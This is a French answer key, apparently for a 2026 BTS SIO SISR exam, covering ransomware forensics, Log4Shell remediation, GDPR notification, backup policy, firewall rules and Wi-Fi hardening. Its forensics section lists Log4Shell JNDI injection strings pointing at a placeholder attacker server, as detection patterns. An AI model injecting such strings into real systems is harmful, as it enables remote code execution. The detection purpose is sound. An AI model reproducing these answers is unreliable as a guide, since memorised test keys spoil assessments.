Sparcle — SISR, session 2026

Mission A1 — Analyse forensique

1. Le rançongiciel a chiffré les données et les journaux locaux → les traces sont devenues illisibles.
2. L’absence de centralisation des journaux (pas de collecteur/SIEM au moment de l’attaque) : les logs restés sur les machines compromises ont pu être écrasés ou perdus. (On peut ajouter : horloges non synchronisées, machines éteintes/réinstallées.)

1. Des sauvegardes saines subsistent → une restauration est possible (pas de paiement nécessaire).
2. Seuls certains serveurs sont touchés, pas l’intégralité du SI.
3. L’EDR déployé sur les postes non contaminés a permis de contenir la propagation.

1. La vulnérabilité Log4Shell (Log4j) non corrigée sur SRV_WEB1 — faille critique connue depuis décembre 2021.
2. L’absence de segmentation réseau → propagation latérale facile vers les serveurs.
3. Une gestion des correctifs défaillante (services exposés, comptes sur-privilégiés).

Actions immédiates : isoler les machines compromises du réseau, appliquer les correctifs Log4j, restaurer depuis une sauvegarde saine vérifiée, réinitialiser les comptes et secrets.

On recherche les chaînes d’exploitation JNDI caractéristiques de Log4Shell, injectées dans les requêtes (URI, en-têtes, User-Agent) :

${jndi:ldap://<serveur_attaquant>/a}
${jndi:rmi://...}     ${jndi:dns://...}

Leur présence dans les logs du serveur web signe une tentative (ou réussite) d’exploitation Log4Shell.

a) Les cibles potentielles de Log4j sont les serveurs/applications écrits en Java qui utilisent la bibliothèque Log4j (version 2.x vulnérable), en particulier ceux exposés ou recevant des entrées non maîtrisées.

b) Sont donc potentiellement vulnérables les autres serveurs hébergeant des applications Java — notamment SRV_ERP (PGI SAGE) et SRV_WEB2 — qu’il faut auditer et corriger.

Mission A2 — Validation avant reconstruction

a) Insuffisances de la configuration initiale des postes (et risques) : pas d’EDR/antivirus à jour, pas de chiffrement du disque, utilisateurs disposant des droits administrateur, mises à jour non automatisées, mots de passe faibles → risque de compromission et de propagation d’un rançongiciel.

b) Remédiation : déployer l’EDR sur tous les postes, activer le chiffrement de disque (BitLocker), retirer les droits admin aux utilisateurs, automatiser les mises à jour, imposer une politique de mots de passe + MFA.

Oui. Les données touchées (paie, clients, employés) sont des données à caractère personnel : l’entreprise doit notifier la CNIL dans les 72 heures, informer les personnes concernées si le risque est élevé, consigner la violation dans son registre, et il est recommandé de déposer plainte.

Mission B1 — Sauvegardes et archivage

Elle permet d’authentifier le serveur de sauvegarde lors de la synchronisation entre sites : un serveur usurpé ne pourrait pas présenter le bon certificat. Cela empêche une attaque de l’homme du milieu (MITM) et garantit que les sauvegardes sont envoyées au véritable serveur PBS.

Non. Le chiffrement assure la confidentialité (les sauvegardes ne sont pas lisibles sans la clé), mais pas l’intégrité : une donnée chiffrée peut être altérée. L’intégrité s’obtient par un mécanisme de hachage/signature (condensat vérifiable) permettant de détecter toute modification.

Pour chaque recommandation, on vérifie si elle est respectée et, sinon, on propose une solution. Les principes ANSSI clés sur la sauvegarde :

• Règle 3-2-1 (3 copies, 2 supports, 1 hors site) ;
• une copie hors ligne / déconnectée (immuable) — indispensable contre le rançongiciel ;
• sauvegardes chiffrées et testées (restauration vérifiée) ;
• journalisation des opérations de sauvegarde.

Toute recommandation non respectée (ex. pas de copie hors ligne) → proposer l’ajout correspondant (ex. une copie immuable déconnectée).

La loi (Code de commerce) impose une conservation de 10 ans des documents comptables → paramètre de rétention = 10 ans.

1. Durée de conservation limitée et proportionnée (les logs ne se conservent pas indéfiniment ; durée justifiée par la finalité).
2. Minimisation / pseudonymisation des données personnelles présentes dans les logs, avec accès restreint et sécurisé.

Politique « tout interdit par défaut », on autorise l’administration et la sauvegarde vers le serveur PBS (interface/port TCP 8007) :

IP source	Port src	IP dest	Port dest	Protocole	Décision
Poste admin	any	SRV_PBS	8007	TCP	Autoriser
Serveurs virtuels (VM)	any	SRV_PBS	8007	TCP	Autoriser
any	any	any	any	any	Interdire

Mission B2 — Durcissement du Wi-Fi (UniFi)

• Masquage du SSID : sécurité faible (le SSID est révélé par les clients qui s’y connectent) → faux sentiment de sécurité, peu utile.
• Filtrage par adresse MAC : contournable (usurpation de MAC) et lourd à gérer, surtout pour les fournisseurs externes → peu adapté.
• PMF (Protected Management Frames) : protège les trames de gestion (anti-déauthentification) → adapté aux deux réseaux.

Pour le Wi-Fi « personnels_externes », privilégier surtout un réseau invité isolé (séparé du réseau interne).

• Le dark web blocker bloque l’accès aux réseaux d’anonymisation (Tor/dark web) → réduit les canaux d’exfiltration et de commande-et-contrôle (C2).
• Le honeypot (pot de miel) est un leurre : tout accès vers lui est forcément anormal → il détecte précocement un attaquant qui scanne ou se déplace dans le réseau, et alerte.

Mission B3 — Évolution suite aux alertes SOC

a) Les protocoles applicatifs se déduisent des ports/journaux fournis (ex. HTTP/HTTPS pour de l’exfiltration web, LDAP/RMI pour une exploitation Log4j).

b) Les deux incidents se rattachent à des tactiques MITRE ATT&CK (ex. Initial Access, Execution, Command and Control, Exfiltration).

c) La sévérité de l’incident du 21 avril est jugée plus haute car l’activité est plus avancée dans la chaîne d’attaque (ex. exfiltration/persistance) qu’un simple scan ou tentative.

a) Le dysfonctionnement de l’application SAGE vient d’un blocage par le dark web blocker ou l’IPS/IDS : la mise à jour téléchargée est considérée à tort comme malveillante (faux positif) et bloquée.

b) Solution sur le contrôleur UniFi : créer une exception / liste blanche pour le domaine ou l’adresse IP du service de mise à jour de SAGE, afin d’autoriser ce flux légitime.